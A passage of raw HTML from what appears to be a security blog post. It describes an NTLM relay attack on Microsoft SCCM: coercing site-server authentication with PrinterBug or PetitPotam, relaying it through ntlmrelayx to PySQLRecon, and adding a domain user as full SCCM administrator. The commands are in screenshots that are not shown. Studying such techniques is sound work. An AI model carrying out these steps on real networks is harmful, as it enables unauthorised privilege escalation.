href="https://substackcdn.com/image/fetch/$s_!f7dh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!f7dh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png 424w, https://substackcdn.com/image/fetch/$s_!f7dh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png 848w, https://substackcdn.com/image/fetch/$s_!f7dh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png 1272w, https://substackcdn.com/image/fetch/$s_!f7dh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!f7dh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png" width="1456" height="817" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:817,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:343199,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!f7dh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png 424w, https://substackcdn.com/image/fetch/$s_!f7dh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png 848w, https://substackcdn.com/image/fetch/$s_!f7dh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png 1272w, https://substackcdn.com/image/fetch/$s_!f7dh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93c872fc-2f1f-4420-8905-c084d7c3e6bb_1676x940.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Then coerce authentication from the site server using the printerbug (or Petit Potam, etc).</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!a7Y0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!a7Y0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png 424w, https://substackcdn.com/image/fetch/$s_!a7Y0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png 848w, https://substackcdn.com/image/fetch/$s_!a7Y0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png 1272w, https://substackcdn.com/image/fetch/$s_!a7Y0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!a7Y0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png" width="696" height="138.14835164835165" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:289,&quot;width&quot;:1456,&quot;resizeWidth&quot;:696,&quot;bytes&quot;:123064,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!a7Y0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png 424w, https://substackcdn.com/image/fetch/$s_!a7Y0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png 848w, https://substackcdn.com/image/fetch/$s_!a7Y0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png 1272w, https://substackcdn.com/image/fetch/$s_!a7Y0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc38d35e-0542-43ae-a5c1-d443f8e24525_1552x308.png 1456w" sizes="100vw"></picture><div></div></div></a></figure></div><p>Now, back in the nltmrelayx window, we have a relay session we can leverage with PySQLRecon.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wSEn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wSEn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png 424w, https://substackcdn.com/image/fetch/$s_!wSEn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png 848w, https://substackcdn.com/image/fetch/$s_!wSEn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png 1272w, https://substackcdn.com/image/fetch/$s_!wSEn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wSEn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png" width="544" height="100.40268456375838" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:220,&quot;width&quot;:1192,&quot;resizeWidth&quot;:544,&quot;bytes&quot;:52586,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wSEn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png 424w, https://substackcdn.com/image/fetch/$s_!wSEn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png 848w, https://substackcdn.com/image/fetch/$s_!wSEn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png 1272w, https://substackcdn.com/image/fetch/$s_!wSEn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d2e33cf-08af-475a-a475-ae0922081f83_1192x220.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>One quirk this method presents is that PySQLRecon&#8217;s <code>&#8212;database </code>flag will not be respected when used through the ntlmrelayx relay session; ntlmrelayx will always connect to the master database by default. However, unlike standalone PySQLRecon usage, the relay session is persistent, meaning context changes from one PySQLRecon command will still be in effect for subsequent commands. All of that is to say, our next step is changing the database context to the SCCM site database.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!H7dd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!H7dd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png 424w, https://substackcdn.com/image/fetch/$s_!H7dd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png 848w, https://substackcdn.com/image/fetch/$s_!H7dd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png 1272w, https://substackcdn.com/image/fetch/$s_!H7dd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!H7dd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png" width="1456" height="422" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:422,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:201724,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!H7dd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png 424w, https://substackcdn.com/image/fetch/$s_!H7dd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png 848w, https://substackcdn.com/image/fetch/$s_!H7dd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png 1272w, https://substackcdn.com/image/fetch/$s_!H7dd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F034f9f66-2b9e-48f2-98e4-242d753898dc_1934x560.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now that we can interact with tables in the CM_123 database, we can use the <em>sccm addadmin</em> module to insert the provided user + SID into the SCCM database as a full administrator. In this case, we&#8217;ll elevate a basic domain user account.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FGNp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FGNp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png 424w, https://substackcdn.com/image/fetch/$s_!FGNp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png 848w, https://substackcdn.com/image/fetch/$s_!FGNp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png 1272w, https://substackcdn.com/image/fetch/$s_!FGNp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FGNp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png" width="1456" height="672" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:672,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:344567,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FGNp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png 424w, https://substackcdn.com/image/fetch/$s_!FGNp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png 848w, https://substackcdn.com/image/fetch/$s_!FGNp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png 1272w, https://substackcdn.com/image/fetch/$s_!FGNp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fba033e26-4ef1-4505-b7f6-bf7263542742_1790x826.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We can verify that the modification was successful using the <em>sccm users</em> module.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wZ-d!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wZ-d!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png 424w, https://substackcdn.com/image/fetch/$s_!wZ-d!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png 848w, https://substackcdn.com/image/fetch/$s_!wZ-d!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png 1272w, https://substackcdn.com/image/fetch/$s_!wZ-d!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wZ-d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png" width="1456" height="882" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:882,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:304236,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wZ-d!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png 424w, https://substackcdn.com/image/fetch/$s_!wZ-d!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png 848w, https://substackcdn.com/image/fetch/$s_!wZ-d!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png 1272w, https://substackcdn.com/image/fetch/$s_!wZ-d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4f44614-6d76-4e94-af46-ec9e59efd3dd_1766x1070.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Or by going directly into the configuration manager application and checking the administrative user settings.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://x.com/garrfoster" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1Ug0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png 424w, https://substackcdn.com/image/fetch/$s_!1Ug0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png 848w, https://substackcdn.com/image/fetch/$s_!1Ug0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f4c3957-20f7-4a37-91e5-1781c8a19118_1870x1188.png 1272w, 